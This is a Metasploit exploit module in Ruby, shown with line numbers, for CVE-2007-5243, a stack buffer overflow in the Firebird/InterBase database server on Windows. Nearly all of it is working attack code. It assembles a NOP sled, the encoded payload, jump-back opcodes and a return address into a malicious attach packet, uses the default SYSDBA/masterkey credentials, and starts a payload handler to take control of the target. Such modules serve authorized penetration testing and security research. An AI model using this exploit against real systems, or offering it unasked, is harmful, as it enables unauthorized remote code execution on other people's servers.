1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = AverageRanking
8

9
  include Msf::Exploit::Remote::Tcp
10
  include Msf::Exploit::Remote::BruteTargets
11

12
  def initialize(info = {})
13
    super(
14
      update_info(
15
        info,
16
        'Name'	=> 'Firebird Relational Database isc_attach_database() Buffer Overflow',
17
        'Description'	=> %q{
18
          This module exploits a stack buffer overflow in Borland InterBase
19
          by sending a specially crafted create request.
20
        },
21
        'Author' => [
22
          'Ramon de C Valle',
23
          'Adriano Lima <adriano[at]risesecurity.org>',
24
        ],
25
        'Arch'	=> ARCH_X86,
26
        'Platform'	=> 'win',
27
        'References' => [
28
          [ 'CVE', '2007-5243' ],
29
          [ 'OSVDB', '38607' ],
30
          [ 'BID', '25917' ],
31
          [ 'URL', 'http://www.risesecurity.org/advisories/RISE-2007002.txt' ],
32
        ],
33
        'Privileged'	=> true,
34
        'License'	=> MSF_LICENSE,
35
        'Payload' => {
36
          'Space' => 512,
37
          'BadChars' => "\x00\x2f\x3a\x40\x5c",
38
          'StackAdjustment' => -3500,
39
        },
40
        'Targets' => [
41
          [ 'Brute Force', {} ],
42
          # '\Device\HarddiskVolume1\WINDOWS\system32\unicode.nls'
43
          [
44
            'Firebird WI-V2.0.0.12748 WI-V2.0.1.12855 (unicode.nls)',
45
            { 'Length' => [ 756 ], 'Ret' => 0x00370b0b }
46
          ],
47
          # Debug
48
          [
49
            'Debug',
50
            { 'Length' => [ 756 ], 'Ret' => 0xaabbccdd }
51
          ],
52
        ],
53
        'DefaultTarget'	=> 1,
54
        'DisclosureDate' => '2007-10-03',
55
        'Notes' => {
56
          'Reliability' => UNKNOWN_RELIABILITY,
57
          'Stability' => UNKNOWN_STABILITY,
58
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
59
        }
60
      )
61
    )
62

63
    register_options(
64
      [
65
        Opt::RPORT(3050)
66
      ]
67
    )
68
  end
69

70
  # Create database parameter block
71
  def dpb_create
72
    isc_dpb_user_name = 28
73
    isc_dpb_password = 29
74

75
    isc_dpb_version1 = 1
76

77
    user = 'SYSDBA'
78
    pass = 'masterkey'
79

80
    dpb = ''
81

82
    dpb << [isc_dpb_version1].pack('c')
83

84
    dpb << [isc_dpb_user_name].pack('c')
85
    dpb << [user.length].pack('c')
86
    dpb << user
87

88
    dpb << [isc_dpb_password].pack('c')
89
    dpb << [pass.length].pack('c')
90
    dpb << pass
91

92
    dpb
93
  end
94

95
  # Calculate buffer padding
96
  def buf_padding(length = '')
97
    remainder = length.remainder(4)
98
    padding = 0
99

100
    if remainder > 0
101
      padding = (4 - remainder)
102
    end
103

104
    padding
105
  end
106

107
  def exploit_target(target)
108
    target['Length'].each do |length|
109
      connect
110

111
      # Attach database
112
      op_attach = 19
113

114
      # Extra padding to trigger the exception
115
      extra_padding = 1024 * 16
116

117
      buf = ''
118

119
      # Operation/packet type
120
      buf << [op_attach].pack('N')
121

122
      # Id
123
      buf << [0].pack('N')
124

125
      # Length
126
      buf << [length + extra_padding].pack('N')
127

128
      # Nop block
129
      buf << make_nops(length - payload.encoded.length - 13)
130

131
      # Payload
132
      buf << payload.encoded
133

134
      # Jump back into the nop block
135
      buf << "\xe9" + [-516].pack('V')
136

137
      # Jump back
138
      buf << "\xeb" + [-7].pack('c')
139

140
      # Random alpha data
141
      buf << rand_text_alpha(2)
142

143
      # Target
144
      buf << [target.ret].pack('V')
145

146
      # Random alpha data
147
      buf << rand_text_alpha(extra_padding)
148

149
      # Padding
150
      buf << "\x00" * buf_padding(length + extra_padding)
151

152
      # Database parameter block
153

154
      # Create database parameter block
155
      dpb = dpb_create
156

157
      # Database parameter block length
158
      buf << [dpb.length].pack('N')
159

160
      # Database parameter block
161
      buf << dpb
162

163
      # Padding
164
      buf << "\x00" * buf_padding(dpb.length)
165

166
      sock.put(buf)
167

168
      select(nil, nil, nil, 4)
169

170
      handler
171
    end
172
  end
173
end
174

175